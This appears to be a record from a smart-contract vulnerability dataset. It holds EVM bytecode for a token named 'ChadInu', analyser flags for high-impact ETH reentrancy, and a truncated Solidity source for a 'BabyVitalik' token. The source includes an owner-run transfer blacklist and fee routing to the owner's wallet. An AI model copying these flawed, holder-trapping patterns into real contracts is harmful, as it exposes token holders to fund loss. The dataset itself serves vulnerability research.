565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600781526020017f43686164496e7500000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b60006706f05b59d3b20000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b6109606064610952836706f05b59d3b20000611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b6706f05b59d3b20000600f819055506706f05b59d3b20000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f43686164496e7500000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a836706f05b59d3b20000611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166706f05b59d3b200006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550662386f26fc10000600f8190555066354a6ba7a180006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612eac565b6020604051808303816000875af1158015611300573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113249190612eea565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d90612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611495576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148c9061301b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115739190612862565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e6906130ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361165e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116559061313f565b60405180910390fd5b600081116116a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611698906131d1565b60405180910390fd5b6000600a81905550600c600b819055506116b9610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172757506116f7610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0157600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117d957600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118845750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118da5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118f25750600e60179054906101000a900460ff165b15611a3057600f5481111561193c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119339061323d565b60405180910390fd5b60105481611949846109db565b611953919061325d565b1115611994576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198b906132ff565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119df57600080fd5b601e426119ec919061325d565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611adb5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b47576000600a81905550600c600b819055505b6000611b52306109db565b9050600e60159054906101000a900460ff16158015611bbf5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bd75750600e60169054906101000a900460ff165b15611bff57611be581611e13565b60004790506000811115611bfd57611bfc47611d39565b5b505b505b611c0c83838361208c565b505050565b6000838311158290611c59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c509190612713565b60405180910390fd5b5060008385611c68919061331f565b9050809150509392505050565b6000808303611c875760009050611ce9565b60008284611c959190613353565b9050828482611ca491906133dc565b14611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb9061347f565b60405180910390fd5b809150505b92915050565b6000611d3183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209c565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da1573d6000803e3d6000fd5b5050565b6000600854821115611dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de390613511565b60405180910390fd5b6000611df66120ff565b9050611e0b8184611cef90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e4b57611e4a612882565b5b604051908082528060200260200182016040528015611e795781602001602082028036833780820191505090505b5090503081600081518110611e9157611e90612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5c9190612d48565b81600181518110611f7057611f6f612c21565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd730600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113b7565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203b9594939291906135ef565b600060405180830381600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209783838361212a565b505050565b600080831182906120e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120da9190612713565b60405180910390fd5b50600083856120f291906133dc565b9050809150509392505050565b600080600061210c6122f5565b915091506121238183611cef90919063ffffffff16565b9250505090565b60008060008060008061213c87612354565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612464565b6122858483612521565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612862565b60405180910390a3505050505050505050565b6000806000600854905060006706f05b59d3b2000090506123296706f05b59d3b20000600854611cef90919063ffffffff16565b821015612347576008546706f05b59d3b20000935093505050612350565b81819350935050505b9091565b60008060008060008060008060006123718a600a54600b5461255b565b92509250925060006123816120ff565b905060008060006123948e8787876125f1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006123fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c11565b905092915050565b6000808284612415919061325d565b90508381101561245a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245190613695565b60405180910390fd5b8091505092915050565b600061246e6120ff565b905060006124858284611c7590919063ffffffff16565b90506124d981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461240690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612536826008546123bc90919063ffffffff16565b6008819055506125518160095461240690919063ffffffff16565b6009819055505050565b6000806000806125876064612579888a611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125b160646125a3888b611c7590919063ffffffff16565b611cef90919063ffffffff16565b905060006125da826125cc858c6123bc90919063ffffffff16565b6123bc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061260a8589611c7590919063ffffffff16565b905060006126218689611c7590919063ffffffff16565b905060006126388789611c7590919063ffffffff16565b905060006126618261265385876123bc90919063ffffffff16565b6123bc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126b4578082015181840152602081019050612699565b838111156126c3576000848401525b50505050565b6000601f19601f8301169050919050565b60006126e58261267a565b6126ef8185612685565b93506126ff818560208601612696565b612708816126c9565b840191505092915050565b6000602082019050818103600083015261272d81846126da565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277482612749565b9050919050565b61278481612769565b811461278f57600080fd5b50565b6000813590506127a18161277b565b92915050565b6000819050919050565b6127ba816127a7565b81146127c557600080fd5b50565b6000813590506127d7816127b1565b92915050565b600080604083850312156127f4576127f361273f565b5b600061280285828601612792565b9250506020612813858286016127c8565b9150509250929050565b60008115159050919050565b6128328161281d565b82525050565b600060208201905061284d6000830184612829565b92915050565b61285c816127a7565b82525050565b60006020820190506128776000830184612853565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128ba826126c9565b810181811067ffffffffffffffff821117156128d9576128d8612882565b5b80604052505050565b60006128ec612735565b90506128f882826128b1565b919050565b600067ffffffffffffffff82111561291857612917612882565b5b602082029050602081019050919050565b600080fd5b600061294161293c846128fd565b6128e2565b9050808382526020820190506020840283018581111561296457612963612929565b5b835b8181101561298d57806129798882612792565b845260208401935050602081019050612966565b5050509392505050565b600082601f8301126129ac576129ab61287d565b5b81356129bc84826020860161292e565b91505092915050565b6000602082840312156129db576129da61273f565b5b600082013567ffffffffffffffff8111156129f9576129f8612744565b5b612a0584828501612997565b91505092915050565b600080600060608486031215612a2757612a2661273f565b5b6000612a3586828701612792565b9350506020612a4686828701612792565b9250506040612a57868287016127c8565b9150509250925092565b600060208284031215612a7757612a7661273f565b5b6000612a8584828501612792565b91505092915050565b600060ff82169050919050565b612aa481612a8e565b82525050565b6000602082019050612abf6000830184612a9b565b92915050565b612ace8161281d565b8114612ad957600080fd5b50565b600081359050612aeb81612ac5565b92915050565b600060208284031215612b0757612b0661273f565b5b6000612b1584828501612adc565b91505092915050565b600060208284031215612b3457612b3361273f565b5b6000612b42848285016127c8565b91505092915050565b612b5481612769565b82525050565b6000602082019050612b6f6000830184612b4b565b92915050565b60008060408385031215612b8c57612b8b61273f565b5b6000612b9a85828601612792565b9250506020612bab85828601612792565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612beb602083612685565b9150612bf682612bb5565b602082019050919050565b60006020820190508181036000830152612c1a81612bde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8a826127a7565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cbc57612cbb612c50565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a047ae4242505e71561e558b40a74dd859cf1fce7a59a72ecaf593448e314eaa64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,344 |
0xf5e582ab510157be1c239ebe3b7b01ae8f66bfba
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BabyVitalik is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redis = 3;
uint256 private _tax = 12;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "BabyVitalik | t.me/babyvitalik";
string private constant _symbol = "bVitalik";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1) {
_feeAddrWallet1 = _add1;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = _redis;
_feeAddr2 = _tax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (10 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(contractTokenBalance > 0){
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
